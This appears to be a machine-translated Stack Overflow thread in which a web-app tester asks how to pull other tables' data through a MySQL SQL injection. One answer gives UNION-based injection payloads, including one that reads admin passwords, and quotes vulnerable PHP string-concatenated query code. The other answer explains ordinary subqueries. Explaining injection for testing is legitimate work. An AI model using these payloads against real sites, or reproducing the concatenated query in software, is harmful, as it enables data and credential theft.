我想知道是否可以覆盖SQL查询的Where子句中的列值(在我的情况下是MySQL)。
更清楚,这是一个例子:
假设一个基本查询是:
SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";
是否可以强制lastname
和firstname
从其他表中返回值,只需修改WHERE部分之后的内容即可?像
SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);
我目前正在测试一个Web应用程序,我发现了SQL注入漏洞,我可以将Doe
更改为我想要的任何内容,但我只能使用一个查询(mysql_query restriction of PHP)和{ {1}}(所以没有“和')。
答案 0 :(得分:5)
可能是
SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --
其中{0}不存在的值和来自其他表的{1}数据
来自维基示例的更新
$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");
成为
SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
答案 1 :(得分:0)
您在SELECT ... WHERE
子句中使用的语法是一个称为子查询的标准SQL功能。
在您的示例的上下文中,子查询有一个限制,只返回单个值。否则,您的查询是一个有效的SQL,您可以使用IN
运算符更改子查询以返回多个值(使用隐式OR),如下所示:
SELECT lastname, firstname FROM contacts
WHERE lastname IN (
SELECT name FROM companies
);
您可以dig deeper进入此主题以发现相关子查询。